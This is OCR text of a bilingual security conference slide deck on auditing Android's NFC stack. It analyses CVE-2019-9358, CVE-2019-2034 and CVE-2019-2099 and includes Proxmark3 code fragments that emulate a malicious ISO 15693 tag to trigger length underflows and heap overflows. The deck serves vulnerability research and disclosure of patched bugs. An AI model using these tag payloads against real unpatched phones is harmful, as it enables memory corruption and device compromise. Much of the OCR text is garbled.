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R EEA About the Speaker

e @JHyrathon
¢ 3605@[%@?%%5}@% ﬁ%ﬁﬂ:%% Security Researcher of 360 Alpha Team
« HUE A Android4l 24, NFC. ZIE% . IPCEEN (Binder)

A1 A : : : :
//]ﬁ/y s, Focuses on the security of components of Android system, including NFC,
TrustZone, Binder, and Multimedia

° E %IEEH%%%ETFUS'CZOHG Currently working on Qualcomm TrustZone




%8 TR B B About the Team

* 360FT BIVLE K 360 Alpha Team

o #4511 200THANdroid A B I TR 45 52 (B FEGoogle. Qualcomm&:
WP ) approximately 200 Android Vulnerabilities (Google, Qualcomm, ...)

 AndroidifwiF 2@ 5T & 5t L& mERE S5 Won the highest reward in
ASR history

« Z THPwn Contestjit EE Many pwn contests winner

* Pwn20wn 2016(Chrome)
* Pwn20wn Mobile 2017(Galaxy S8)



== P VR Hunted Bugs

FESRAYIRIE comfirmed BEERYRIE duplicated
ID Type Sub Component
ID Type Sub Component
CVE-2019-2017 EoP t2t
CVE-2019-2034 EoP i93 A120101895 00> st
CVE-2019-2099 EoP nfa A-122047365 - 193
CVE-2019-9358 EoP 3t hce A-122447367 D B ES
CVE-2019-2135 ID mifare A-122629744 ID t3t
A-124321899 ID t4t A-124334702 ID tat
A-124466497 EoP nfc hci A-124334707 ) t4t
A-125447044 ID mifare A-124579544 EoP i93
A-124466510 EoP nfchd
A-124792090 EoP jni
A-126126165 EoP mifare

A-128469619 EoP hal




NFCIHH B2 NFC Stack Overview
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NFCIHH B2 NFC Stack Overview

Application Layer NFC Forum NDEF Messages

NFC Forum
Formattted Tag
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NFC of Android

Reader/Writer

Host-based Card Emulation

P2P

Raw Tag reader/writer, NDEF type 1-4 tag, 1ISO-15693 tag,
reader/writer Mifare tag

Metro card emulation, offline
payment

Android Beam LLCP

t3t(FeliCa), t4t




Android NFC4ERE Android NFC structure

Binder IPC .
naer Java Wrapping
ith the hel .
\(',Vf't e Mifare INIimol tati
S Stack implementation
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em.ulatio Kernel NFC driver
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processing
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Public basis: GKI buffer/msg

HwBinder IPC
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e android.hardwar
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service



TEETH B H #Z Attack Surface & Target

&
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B2 Attack Surfaces

BinderiEF£[H] i E  Binder IPC
JE R RINFCI}E 2 App data to NFC stack
+ 5 /REF 28 2IINFCH 2 2 Remote(card, reader/writer) to NFC stack

HwBinderit F£ 1] 18 5 HwBinder IPC
System on ChipZ{ [l SoC attack surface
%*ﬂ%?”%ﬁ‘/ﬁgfﬁg Android to Remote(card,

reader/writer)



AEEMHFTEIZE Alluring Target

7. HEEIA EE';?‘E Reader/Writer module
8. FEIEE (HCE) BizH Host-based Card Emulation module

9. FhBIRLIEFIAA

P2P module, deprecated
10. @ﬁﬁ ﬁﬁ%ﬁ%zﬁ Infrastructure module

&2, JavaMUNVMRES AR e A IR R ST H B, B A K
AN REAT BB

Java and JNI wrapping code are not considered alluring since data are not
processed there.



RAEFXAOSPHsystem/nfc & B3k
~ocus on system/nfc of AOSP

c WEEBEHII Protocol stack implements here
o KEHZE#¥/Fraw buffer Raw buffer manipulations
e HE A& Hl User-controlled data



SEAETRAOSP ] system/nfc & RL A&
~ocus on system/nfc of AOSP

Binder IPC e Wi e
with the Mifare - '
help of JNI implementation
ServiceM
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emulati
on impl.
processing
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managing, NFA, checksum, HAL _ NFC HAL impl.
with the help
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android.hardwar
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service

com.android.nfc



hyrathon@ghyrathon-ubuntu:/opt/aosp/system/nfc$ tree -d

src
adaptation
gki
|: common
ulinux
include
nfa
ce
dm
ee
hct
include
p2p
rw
sys

include

1lcp

nci

ndef

nfc

tags
utils

t:: include
test

25 directories




FEAEMES Necessa ry Basic Concepts

* gki
* nfa
* type of tags



oki

o BRI GCIR S T AC RS, LA ring buffer

(buffer) memory allocator based on ring buffer

e ZNEfEIE message delivery

- %TH%%% timer



gk| Hard to corrupt heap; no
“double free”

This nullify tons of unsafe
buffer manipulations

o ZREIE FLIRBE S HCY, FEJRring buffer
#E DU e heap, 820 L “double free”
HER T REBAE A 22810 5 2R E R
o A EIE

FEAE] “fE# (task) 7 Z [E{EIEENE

. BHFS
Deliver msg between different “tasks”

typedef struct {
uintlé t event;
uintle t len;

uintle_t offset;
uintle t layer_specific;

} NFC_HDR;




nfa

° /\,uu a f@%’ﬁ system manager

o BXHE EL device manager

ﬂjiuﬁlz FHEBE  state machine manager
o YIUEMWFRERBZIE resource init/release
« EWEEZ BYIFRX switch between protocols
« JHEILFE messaging
B e 20 AT communicate with upper layer

NL;\Z ’ nfaT U\fﬁﬁqﬁ% 56 g k’v%ﬂen}“%“ ”

In conclusion, housekeeper



type of tags

° EEE, ﬁﬁ%ﬁfﬁ?ﬁ . Igﬁ‘@” Again, naming is unbridled

* Reader/Writer 32 #%: t1t, t2t, t3t, t4t, t5t, i93(ISO-15693), Mifare
Reader/Writer supports

o R S FE: t3t(with limited functionality), t4t

Card emulation supports



BRI IR 2 US| 5T Fuzz or Audit?

1y

« KEAFE, KERFERE, KERE
Many threads, many state machines, many states

° %BE?E&%)\, ﬂlﬁﬁ?%fﬁ Multi-stage input, causality

O ’ﬁﬁ%*ﬁ%é}ﬁ%, iﬁ uﬁj\ﬁﬁ Coupling, not easy to dismantle

« KJHRFAT 2, MEFER Il il 5% T 15 A crash N R =& RE S HCRE T =
s A\ B 2 [A) Bk 5 R
Constrains, crash in a sub module doesn’t mean reachable from user input
. ﬁ%%ﬁﬁ: %—Eﬁ{g’ﬁ/\\ﬂ%*ﬁfﬁﬁﬁ Conclusion: Just audit it



Proxmark 3

e U1{A[ BT PoC How to write a PoC
° E%%ﬁu%'féaﬁ? ﬁﬁ%ﬁxi%@tlﬁﬁ ngﬂdr@ Malicious card?

Normal card don’t support malformed parcel
. I%ﬁﬁ%*éAndroid%&fﬁ*ﬁiﬁ%ﬁt%%H? Android>CH2 R Fr B 7 €

Simulate a card with another Android device? Limited support
* Proxmark 3V



Proxmark 3

@ Watch~ | 161 * Star

ymmar

ymmanr




Proxmark 3

* “The proxmark3 is a powerful general purpose RFID tool, the size of a
deck of cards, designed to snoop, listen and everything from
Low Frequency (125kHz) to High Frequency (13.56MHz) tags.”

J Iﬁ%% Well documented
o G0 T, EAHRRAL AR KA (JFZH) |, USBAR
Chip, HF antenna, LF antenna(not indispensable), USB cable

° 'E?'a 70N » ﬂjﬁ;ﬁmﬁﬁﬁ,}rm)ﬁﬁ Also integrated versions



Proxmark 3




Proxmark 3

o ‘B 5 A9 3¢ (Proxmark/proxmark3) FH1
lcemanfti 43 37 (iceman1001/proxmark3) €

Official fork(Proxmark/proxmark3) and Iceman fork(iceman1001/proxmark3)
o« GHIE ST E IR, AEM I snooptET A

Comply with the law, don’t snoop



Proxmark 3

void SimTagIsol5693(uint32_t parameter, uint8_t *uid)
{

LEDsoff();

LED_A ON();

FpgaDownloadAndGo(FPGA _BITSTREAM_HF);

SetAdcMuxFor (GPIO_MUXSEL_HIPKD);
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR |
FPGA_HF_SIMULATOR_NO_MODULATION);

FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR);

StartCountSspClk();

uint8 t cmd[IS015693_MAX_COMMAND_LENGTH];
BuildInventoryResponse(uid);

while (!BUTTON_PRESS()) {
uint32_t eof_time = @, start_time = 0;
int cmd_len = GetIsol5693CommandFromReader(cmd, sizeof(cmd),
&eof_time);

if ((cmd_len >= 5) && (cmd[@] & IS015693 REQ_INVENTORY) &&
(cmd[1] == IS015693_INVENTORY)) {
bool slow = !(cmd[@] & IS015693 REQ DATARATE_HIGH);
start_time = eof_time + DELAY_IS015693_VCD_TO_VICC_SIM -
DELAY_ARM_TO_READER_SIM;
TransmitTol5693Reader(ToSend, ToSendMax, start_time, slow);

}

Dbprintf("%d bytes read from reader:", cmd_len);
Dbhexdump(cmd_len, cmd, false);

}

FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();

}

Pliso 1569317 x& B 45t 24151
[ 7 5= R

Only support one command ...

 EARERIR M, R
SLMIETE, L1

Pre-compile, main loop, cmd dispatch

e Let’s write some code!



void calcRspAsTag(uint8_t* rsp, size_t len, uint8 t* toSend){
uintl6_t crc;
crc = Crc(rsp, len - 2);
rsp[len - 2] = crc & oxff;
rsp[len - 1] = crc >> 8;
CodeIso15693AsTag(rsp, len);
if(ToSendMax != len * 2 + 2){
Dbprintf("Fatal error");
b

memcpy (toSend, ToSend, ToSendMax);
b

#define UID Ox00, Ox00, Ox00, Ox00, 0x00, Ox24, Ox04, Oxe0,

//data get uid
static uint8_t CMD_GET_UID[] = {
0x26, Ox01, 0x00
s
static uint8 t RSP_GET_UID[] = {
0x00, 0x00, // flags dsfid
UID
oxff, oxff // crc-16
s
static uint8 t TSND_GET_UID[sizeof(RSP_GET_UID) * 2 + 2] = {0};

while (!BUTTON_PRESS()) {
uint32_t eof_time = @, start_time = 0;
int cmd_len = GetIsol5693CommandFromReader(cmd, sizeof(cmd),
&eof_time);

// read ndef only when the check is finished
if(sendData && (!memcmp(cmd, CMD_READ_NDEF,
sizeof(CMD_READ_NDEF) - 1))){
bool slow = !(cmd[@] & IS015693 REQ DATARATE HIGH);
start_time = eof_time + DELAY IS015693 VCD TO VICC -
DELAY_ARM_TO_READER;
TransmitTol5693Reader (TSND_READ_NDEF,
sizeof(TSND_READ_NDEF), start_time, slow);
Dbprintf("recv cmd:");
Dbhexdump(cmd_len, cmd, false);
Dbprintf("send rsp:");
Dbhexdump (sizeof(RSP_READ_NDEF), (uint8_t*)RSP_READ_NDEF,
false);
Dbprintf("\n");
continue;




E #9387 Case Study

/.

B9 73 A IE 25 NFC 1% 1 /2 1 31 A 4H

The case study covers three module of NFC stack

. *T%ﬁi‘ﬁfﬁfﬁﬂ% A Card Emulation Case

o —{E|Reader/Writerf]- - A Reader/Writer Case

o —{EinfaflF An nfa Case



CVE-2019-9358

e CVE-2019-9358, Googlei T4k 2 1 &
o A A-K Fr#5i45 (Host-based Card Emulation) 17 & &
* https://developer.android.com/guide/topics/connectivity/nfc/hce

NFC Reader



CVE-2019-9358

void ce_t3t_i
tCE_CB* p_ce_cb = &ce_cbh;

tCE_T3T_MEM* p_cb = &p_ce_ch->mem.t3t;

NFC_HDR* p_msg = p_data->p_data;

tCE_DATA ce_data;

uint8 t emd_id, bl®, entry_len, i;

uint8 t* p_nfecid2 = NULL;

uint8_t* p = (uint8_t*)(p_msg + 1) + p_msg->offset;
uint8 t emd_nfcid2[NCI RF F UID LEN];

uintle t block_list_start_offset, remaining;

bool msg_processed = false;

bool block_list_ok;

uint8_t sod;|

uint8 t emd_type;

/* If activate system code is not NDEF, or if no local NDEF contents was set,
up to the app */
tem_code != T3T_SYSTEM_CODE_NDEF) ||
(1 f_info.initialized)) {

ce_data.raw_frame.status = p_data->status;

ce_data.raw_frame. p_msg

p_ce cb->p _cback(CE_T3T RAW FRAME EVT, &ce data);

return;

data_cback(tnrc DATA CEVT* p_data) {

/* Parse service code list */
for (1 = 0; 1 < p_cb->cur_cmd.num_services; i++) {
STREAM_TO_UINT16(p cb->cur_cmd.service code list[i], p);

1
I

/* Handle NFC_FORUM command (UPDATE or CHECK) */
STREAM_TO_ARRAY(cmd_nfcid2, p, NCI_RF_F UID LEN);
STREAM_TO_UINT8(p_ch->cur_cmd.num_services, p);




i

/* Type 3 Tag current command processing */

typedef struct {
= - uintl6_t service_code_list[T3T_MSG_SERVICE_LIST_MAX];

uint8 t* p_block_list_start; 116

uint8 t* p_block_data_start;
uint8 t num_services;
uint8_t num_blocks;

} tCE_T3T_CUR_CMD;

void c@_t3t_data_cback(tnrc DATA CEVT* p_data) {
tCE_CB* p_ce_cb = &ce_cbh;
tCE_T3T_MEM* p_cb = &p_ce_ch->mem.t3t;
NFC_HDR* p_msg = p_data->p_data;
tCE_DATA ce_data;
uint8 t emd_id, bl®, entry_len, i;
uint8 t* p_nfecid2 = NULL;

/* Parse service code list */

for (1 = 0; 1 < p_cb->cur_cmd.num_services; i++) {

! 10 b . STREAM_TO_UINT16(p cb->cur_cmd.service code list[i], p);
uintd t* p = (uint8 t*)(p msg + 1) + p_msg->offset;
uint8 t emd_nfcid2[NCI RF F UID LEN];

uintle t block_list_start_offset, remaining;

bool msg_processed = false; out of bound write 480
bool block_list_ok;

uint8_t sod;| bytes at most to global

uint8 t emd_type; Segment

1
I

/* Handle NFC_FORUM command (UPDATE or CHECK) */
: : , STREAM_TO_ARRAY(cmd_nfcid2, p, NCI_RF_F_UID LEN);
/* If activate system code is not NDEF, or if no local NDEF contents was set,
up to the app */
tem_code != T3T_SYSTEM_CODE_NDEF) ||

STREAM_TO_UINT8(p_ch->cur_cmd.num_services, p);

f_info.initialized)) {

ce;data.raw_frgme.status = p_data->status; . .
ce_data.raw_frame. p_msg rea d IN NuM services

p_ce_ch->p chack(CE_T3T_RAW !.ﬂ\fT'IE_E‘\."T_, &ce data);

 return; without validation

NDEF check



CVE-2019-9358

* %@%ﬁ%ﬁ% Looks good ......
2T, At ERIIPCK A AR
Wait, why my PoC isn’t working?

o A R A ] R AT B ACHS ELRRB6, FIEHAndroid R&IR A 1
H & HFelicatid fit Be /1. BT H R TR A A e A 5 . ?

After some code reading/debugging, | found Android restricts its own FeliCa
emulation ability. Maybe for legal concerns?



CVE-2019-9358

e System codeiEF% | “service provider” kA& kA%
E@%@iﬁ System code defines service provider, a.k.a. ‘type’ of this card

* Sony 1) Fi % :
https://www.sony.net/Products/felica/business/tech-
support/index.html

For System Code, the following values are shared between multiple service providers:
12FCh — for System that uses NFC Data Exchange Format (NDEF), as determined by the NFC Forum
4000h — for the host-based card emulation function for NFC-F (HCE-F)"
88B4h — for FeliCa Lite series
AADOh-AAFEh — for System conforming to JIS X 6319-4:2016
FEOOh = for System known as "Common Area®, managed by FeliCa Networks, Inc.
FEETh — for FeliCa Plug series

Any and all other values are administered by Sony.

. System Code values in the range 4000h-4FFFh (except 4*FFh, where * is an arbitrary hexadecimal number)

are reserved for HCE-F. Sony assigns the same System Code for HCE-F value (except 4000h) to a client who
uses a card and an HCE-F function that have identical System Code values.




CVE-2019-9358

void ce_t3t_i

tCE_CB* p_ce_cb = &ce_cbh;

tCE_T3T_MEM* p_cb = &p_ce_ch->mem.t3t;
NFC_HDR* p_msg = p_data->p_data;
tCE_DATA ce_data;

uint8 t emd_id, bl®, entry_len, i;
uint8 t* p_nfecid2 = NULL;

uint8_t* p = (uint8_t*)(p_msg + 1) + p_msg->offset;
uint8 t emd_nfcid2[NCI RF F UID LEN];

uintle t block_list_start_offset, remaining;

bool msg_processed = false;

bool block_list_ok;

uint8_t sod;|

uint8 t emd_type;

/* If activate system code is not NDEF, or if no local NDEF contents was set,
up to the app */
tem_code != T3T_SYSTEM_CODE_NDEF) ||
f_info.initialized)) {

ce_data.raw_frame.status = p_data->status;
ce_data.raw_frame. p_msg

p_ce cb->p _cback(CE_T3T RAW FRAME EVT, &ce data);
return;

NDEF check

data_cback(tnrc DATA CEVT* p_data) {

i

/* Type 3 Tag current command processing */
typedef struct {
uintl6_t service_code_list[T3T_MSG_SERVICE_LIST_MAX];

uint8 t* p_block_list_start; 116

uint8 t* p_block_data_start;
uint8 t num_services;
uint8_t num_blocks;

- tCE_T3T_CUR_CMD;

/* Parse service code list */

for (1 = @; 1 < p_ch->cur_cmd.num_services; i++) {
STREAM_TO_UINT16(p cb->cur_cmd.service code list[i], p);

1

i

out of bound write 480
bytes at most to global
variable segment

/* Handle NFC_FORUM command (UPDATE or CHECK) */
STREAM_TO_ARRAY(cmd_nfcid2, p, NCI_RF_F_UID_LEN);

STREAM_TO_UINT8(p_ch->cur_cmd.num_services, p);

read in num_services
without validation



CVE-2019-9358

o HIRAME —ENFC-FRELHERRE, FAM T EZA —(EAXMUE R 5
N0 e

When writing a NFC-F Host Card Emulation application, we defines following
metadata in a xml file

<host-nfecf-service xmlns:android="http://schemas.android.com/apk/res/android"

android:description="@string/app_name"=>
<system-code-filter android:name="4000"/>
<nfcid2-filter android:name="02FE000000000000" /=
<t3tPmm-filter android:name="FFFFFFFFFFFFFFFF" />

</host-nfcf-service=




CVE-2019-9358

frameworks/base/core/java/android/nfc/cardemulation/NfcFCardEmulation.java

» fH1&E.com.android. nfcERE 1,

system code & % 152 i

Later in process com.android.nfc,
system code is validated

alidSystemCode(String systemCode) { ° /\/\%~ﬂ: E/j %}—‘ R ﬁ[l,XXXﬂ:Zﬁ
BT

(systemCode == null) { El Code

return false;
o o Surprisingly, only 4XXX is allowed
(systemCode.length() != 4) { (Wlth some eXCEDtIOnS)

Log.e(TAG, " am Code " + systemCode + " is not a valid System Code.™);

¢=1

return false;

// check if the value is between "4000" and "4FFF" (excluding "4%FF")

(! systemCod tswith("4") || systemCode.tolUpperC ) .endswith("FF™)) {

Log.e(TAG, em Code " + systemCode + " is not a valid System Code."); NFC stack(C)

return false;

want to

1
J
try {

Integer.parselnt (s yst emCode, 16);

parse NDEF

validator(Java)

} catch (NumberFormatException e) {

"y

Log.e(TAG, "System Code " + systemCode + " is not a valid System Code.");
return false;

1

J

return true;




CVE-2019-9358

« B HAHTT JE B T A5 e R A V2 A A
This self-contradictory feature makes this bug un-exploitable

* % 1 7] Googlert WL IR IFAFAZ L T Javaf UG AR B A% i
To prove it to Google | slightly altered the code to bypass the validation

 (SEH T P ER R, RS, —EER/EH

Then two phones are involved, one as attacker, one as victim



CVE-2019-2034

o NEREFEN 25151 G, 7£2019-04-01 1)/ T H1218, scored as High by
Google, fix in 2019-04-01, patched in
https://android.googlesource.com/platform/system/nfc/+/14e2f9df7
9ecb25db9e88843406d738d607101b4

o« KPR ERMRE, BT EXERIRE TR 3 EERE e E
Typical length issues found in tens of similar bugs

« ZEHAISO 1569317 & &
Found in ISO 15693 stack



CVE-2019-2034

° gkl@f@f@@ﬁ%% How gki buffer works
« NFCHE B4 S B, F—BHaEE M —E oufer

NFC stack has multiple layers, each with its own header

® rflll )\ T OffSGt?-E& Introduce the offset field
o TN QB M headerllr, [H EEEI Noffsetlf /D len  when certain

header need to be striped, just increase offset and decrease len

° B%{EE T &?E?%E@E@EE E‘J}}:E:E Reduce the frequency of buffer copy

typedef struct {

uintle_t event; lgnored |
uintle_t offset;

uintl6_t layer_specific; \ A )

1 NFC_HDR;

Access primitive: (uint8_t*)(p_hdr + 1) + p_hdr->offset



CVE-2019-2034

void rw_1i93_sm_read_ndef(nrc_HDR* p_resp) { enove extra btyes in the last block ¥/ ot length);
uint8 t* p = (uint8 t*)(p_resp + 1) + p_resp-roffset;
uint8&_t flags;
uintl6e_t offset, length = p_resp->len;
CB* P_ 193 = &rw_cb.tcb.i%ﬁ".:_; tring t N ac '-ead (%d)/total (%d)", p_resp->len,
tRW DATA rw_data; ’

STATE_IDLE;

) . (*(rw_eb.p_cback) ) (RUW_I )EF_READ_CPLT_EVT, &rw_data);
DLOG_TIF(INFO, nfc_debug_enabled) << func__; - else {
- ) . - - ’ - E— DLOG_IF(INFO, nfec_debug_ enabf.ed}
- i StringPrintf (" d t read (%d)/total (%d)", p_resp->len,
STREAM_TO_UINT8(flags, p); :

].Er‘lg't h— %

/* if this is the fir: block *J

_:tart_offz.et % p i <_size; : ‘ t < length) {
set++; /¥ flags */
esp->offset += offse
esp->len -= off :

v_data.data.status MFC_STATUS_OK;
rw_data.data.p_data = p_resp;

sndef_tlv_start_offset); 33 >rw_length += p_resp->len;




CVE-2019-2034

void PW_193_sm_read_ndef(nrc HoR* p_resp) {
uint8 t* p = (uint8 t*)(p_resp + 1) + p_resp-roffset;
uint8&_t flags;
uintl6e_t offset, length = p_resp->len;
tRW_IS93 CB* p_i93 = &rw_cbk.tcb.it
tRW DATA rw_data;

DLOG_IF(INFO, nfc_debug_enabled) << _ func__

is is the first block */
>rw_length {
of MDEF in the first block */
ndef_tlv_start_offset % p_ ->block_size;

/[* adjust offset if read more blocks because the first block doesn't have
* NDEF */

>rw_offset - >ndef_tlv_start_offset);

(*(rw_eb.p_cback) ) (RUW_I

EF_READ_CPLT_EVT, &rw_data);

r else {

DLOG_IF(INFO, nfe_debug_enabled)

StringPrintf(" read (%d)/total (%d)", p_resp->len,

if (p_resp->len >
(*(rw_cb.p_cback)

1

L

OOBW

: length)
offset++; /¥ flags
p_resp->offset += o
p_resp->len -= o

rw_data.data.status =
data.data.p_data =

NFC_STATUS_OK;
p_resp;

>rw_length += p_resp->len;

length underflow helps take this
branch,
results in p_resp->len underflow
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static void Nfa_rw_handle_i93_evt(trRwW _EVENT event, tRW DATA* p_rw_data) {
FA CONM_EVT _DATA conn_evt_data;

N
tNFA_TAG_PARAMS i93_params;

switch (event) {

case RW_I93_NDEF_DETECT_EWT: /* Result of NDEF detection procedure */
nfa_rw_handle_ndef_detect(p_rw_data);
break;

case RW_T93 NDEF_READ_EVT: /* Segment of data received from type 4 tag */
if (nfa_rw_cb.cur_op == NFA_ OP_READ_NDEF) {
nfa_rw_store_ndef_rx_buf(p_rw_data);
- else {
nfa_rw_send_data_to_upper(p_rw_data);
1

3
break;

case Rl _T93 NDEF_READ CPLT_EVT: /* Read operation completed
if (nfa_rw_cb.cur_op == NFA_RW_OP_READ_MNDEF) {
nfa_rw_store_ndef_rx_buf(p_rw_data);

static void Nfa_rw_store_n _PX_DUT (tRW_DATA* p_rw_data) {
uintd t* p;

p = (uint8 t*)(p_rw_data->data.p data + 1) + p_rw_data->data.p_data->offset;

/* Save data into buffer */

memcpy (&nfa_rw_cb.p _ndef buf[nfa_rw_cb.ndef rd offset], p,
p_rw_data->data.p_data->len);

nfa_rw_cb.ndef rd offset += p_rw_data->data.p_data->len;

GKI_freebuf(p_rw_data->data.p _data);
p_rw_data->data.p _data = NULL;
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static void Nfa_rw_handle_i93_evt(trRwW _EVENT event, tRW DATA* p_rw_data) {
FA CONM_EVT _DATA conn_evt_data;

N
tNFA_TAG_PARAMS i93_params;

L

switch (event) {
case RW_I93_NDEF_DETECT_EWT: /* Result of NDEF detection procedure */
nfa_rw_handle_ndef_detect(p_rw_data);
break;

case RW_T93 NDEF_READ_EVT: /* Segment of data received from type 4 tag */
if (nfa_rw_cb.cur_op == NFA_RW_OP_READ_NDEF) {
nfa_rw_store_ndef_rx_buf(p_rw_data);
- else {
nfa_rw_send_data_to_upper(p_rw_data);
1

3
break;

case Rl _T93 NDEF_READ CPLT_EVT: /* Read operation completed
if (nfa_rw_cb.cur_op == NFA_RW_OP_READ_MNDEF) {
nfa_rw_store_ndef_rx_buf(p_rw_data);

static void Nfa_rw_store_n _PX_DUT (tRW_DATA* p_rw_data) {
uintd t* p;

This code itself p = (uint8 t*)(p_rw_data->data.p data + 1) + p_rw_data->data.p_data->offset;

1S aIsc? bUgg_V' /* Save data into buffer */

we will see it memcpy (&nfa_rw_cb.p_ndef buf[nfa_rw_cb.ndef rd offset], p,

later p_rw_data->data.p_data->len);
nfa_rw_cb.ndef rd offset += p_rw_data->data.p_data->len;
GKI_freebuf(p_rw_data->data.p_data);

p_rw_data->data.p _data = NULL;
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o Huk Summary

. ﬁ}%&"%\f%ﬁ%ﬁﬁ%/ﬂﬂ@ﬁ%, %%ﬁ%%&@?/ﬁ Lack of validation of zero sized

length, results in underflow

o lengthf) i & BhaEimifE — DB, EMEp _resp->len N length
underflow helps bypass check, results p_resp->len underflow

o EAHEp _respiBRE 4 rw _data, 22 W E IR 45 callback PR EX

Overflowed p_resp assigned to rw_data, then passed to callback function

. B%,%%nfa_rvl_store_ndef_rx_buf%}}i%)%ﬁﬁ , A% A v H AR S AT memcpy 5 2
AL IR HE B 18

nfa_rw_store_ndef _rx_buf is finally called, and memcpy with corrupted len
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o 151 R0 £ 18T % B ] $ 1
Is zero sized buffer data controllable?
o B AR AR T R0 Ak 1 5 I BE 3 v L 45
It seems buffer with O size can’t transfer user controlled data
(B2, SRRk K ring bufferlfIN A B ARG ? HIE A, HAT Y
i JJ— EFEE L AT DLTREMEI . #%5H)

However, gki managed memory is predictable(fengshui?), similar to heap



//data check lock

static uint8 t CMD_CHK_LOK[] = {
0x62, 0x20, // flag, cmd code
UID
0x01 // block number

static uint8 t TSND_GET_CC[sizeof(RSP_GET_CC) * 2 + 2] = {0};

//data ndef tlv
static uint8_t CMD_NDEF_TLV[]= {
0x22, 0x20, //flag, cmd code
UID
ox01, // block number
}; . 3
Stat;;egfnji¥;azzp—NDEF—TLV[] ={ static uint8 t TSND_CHK_LOK[sizeof(RSP_CHK_LOK) * 2 + 2] = {0};
@x03, //I93_ICODE_TLV_TYPE_NDEF
//0xe8, //tlv_len or
oxff,
oxff,
oxff, // (alternative)l6 bit tlv_len
0x00, Ox00, 0x00, 0x00,
oxfe, //terminator
oxff, oxff

s

static uint8 t RSP_CHK_LOK[] = {

ox00, // flag

0x01, 0x01, 0x01, Ox01, Ox01l, Ox01, ©x01l, 0Ox01,
oxff, oxff

//ndef read data

static uint8 t CMD_READ_NDEF[] = {
0x22, 0x20, //flag, cmd code
UID
0x00, // tag number

s
static uint8 t RSP_READ NDEF[] = {
i //exee, //flag

’ 0x00, 0x00, //dontknowwhat

static uint8_t TSND_NDEF_TLV[sizeof(RSP_NDEF_TLV) * 2 + 2] = {@}; //0xd1, 0x01, Ox04, Ox54, @x02, Ox7a, Ox68, OX68, // some

valid ndef info
s
static uint8_t TSND_READ_NDEF[sizeof(RSP_READ_NDEF) * 2 + 2] = {@};
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* i Googles T4k %/ G, #£2019-06-01 K 14H T H1

scored as High by Google, patched in

18

W

* https://android.googlesource.com/platform/system/nfc/+/f0236aa9b
d07b26d5f85cb5474561f60156f833f

o W Anfati4l 2 nfa_rw_store ndef rx_buf

Found in nfa_rw_store_ndef_rx_buf of nfa component
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static void Nfa_rw_handle_t4t_evt(tRW_EVENT event, tRW_DATA* p_rw_data) {
tMFA_CONN_EVT_DATA conn_evt_data;

switch (event) {
case RW_T4T_NDEF_DETECT_EVT: /* Result of NDEF detection procedure */[
nfa_rw_handle_ndef_detect(p_rw_data);
break;

case RW_TAT NDEF_FORMAT CPLT_EVT:

/* Command complete - perform cleanup, notify the app */

nfa_rw_cnmmand_cnmpletef}

nfa_rw_cb.cur_op = HFA_PH OP_MAX;

nfa_rw_cb.ndef_cur_size = p_rw_data—>ndef.cur s

nfa_rw_cb.ndef max_size = p_rw_data->ndef.max_s

conn_evt data.status = (p_rw_data->status == NFC ATUS OK)

? HFA_‘_-aTATU‘_-a_Dh

NFA_STATUS_FATLED;

nfa_dm_act_conn_cback_notify(NFA_FORMAT_CPLT_EVT, &conn_evt_data);
break;

case RW T4T NDEF_READ EVT: /* Segment of data received from type 4 tag */
if (nfa_rw_cb.cur op == NFA RW OP READ NDEF) {
nfa_rw_store_ndef_rx_buf(p_rw_data);
- else {
nfa_rw_send_data_to_upper(p_rw_data);

break;

case RW T4T NDEF_READ CPLT_EVT: /* Read operation completed
if (nfa_rw_cb.cur_op == MNFA_| OP_READ_NDEF) {
nfa_rw_store_ndef_rx_buf(p_rw_data);
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« ZIAWE & A M BInfoR A ERR B BE,  1IEARTIACVE-2019-2034 17K
Multiple protocol stacks needs to store data temporarily in nfa, as shown in CVE-

2019-2034

rw_t3t_act_handle_

check rsp

LwatStedataschack rw_t3t_act_handle_

check ndef rsp

rw_t4t_sm_read_nd
ef

rw_t4t_data_cback

rw_i93_sm_read_nd

rw_i93 data_cback
ef

protocol stack

nfa_rw_handle_t3t_
evt

nfa_rw_handle_t4t_
evt

nfa_rw_store_ndef
rx_buf

nfa_rw_handle_i93_
evt

nfa
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o PRt AN &R, nfa_rw_store_ndef rx_buf& & UK
2 HIE 0 N AR AFEEnfa_rw_cb.p_ndef bufd, %340
nfa_rw_cb.ndef rd_offset#'){E 2RACE Y 2B I = .

These three protocol allows fragmentation, nfa_rw_store_ndef rx_buf is
dedicated to store data to nfa_rw_cb.p_ndef_buf, then increase
nfa_rw_cb.ndef rd_offset to reflect the current offset of the buffer
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/¥ Save data into buffer */

memcpy (&nfa_rw_cb.p_ndef buf[nfa_rw_cb.ndef rd offset], p,
p_rw_data->data.p _data->len);

nfa_rw_cb.ndef rd offset += p_rw_data->data.p _data-»len;

GKI_freebuf(p_rw_data->data.p _data);
p_rw_data->data.p _data = NULL;
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« ¥fnfa_rw_cb.ndef rd_offsetB{EH X A 5
No validation of nfa_rw_cb.ndef rd_offset is made

o FRAE N EIE SN (BRI Knfa_rw_cb.ndef rd_offse) i ANFEMET &
A an, BASE S heap Iz A H

Keep sending data and don’t hang up the current session, finally heap

overflow happen will happen

extern void* n'Fa_ﬂ'IEﬂ'I_CU_a].].UC[:uint_:'a;l_t num_bytes) { return malloc(num_bytes); }

nfa_rw_cb.p_ndef_buf = (uint8_t*)nfa_mem_co_alloc(nfa_rw_cb.ndef_cur_size);



CVE-2019-2099

https://github.com/hyrathon/PoCs/tree/master/

CVE-2019-2099
* PoC

//ndef read data

static uint8_t CMD_READ_NDEF[] = {
0x22, 0x20, //flag, cmd code
UID
0x00, // tag number

s

static uint8_t RSP_READ_NDEF[] = {
//0xee, //flag
0x00, 0x00, //dontknowwhat
0x66, Ox66, Ox66, OXx66, Ox66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66,
0x66, Ox66, Ox66, OXx66, Ox66, OX66, Ox66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66,
0x66, Ox66, Ox66, OXx66, Ox66, OX66, OXx66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66,
0x66, Ox66, Ox66, OXx66, Ox66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66,
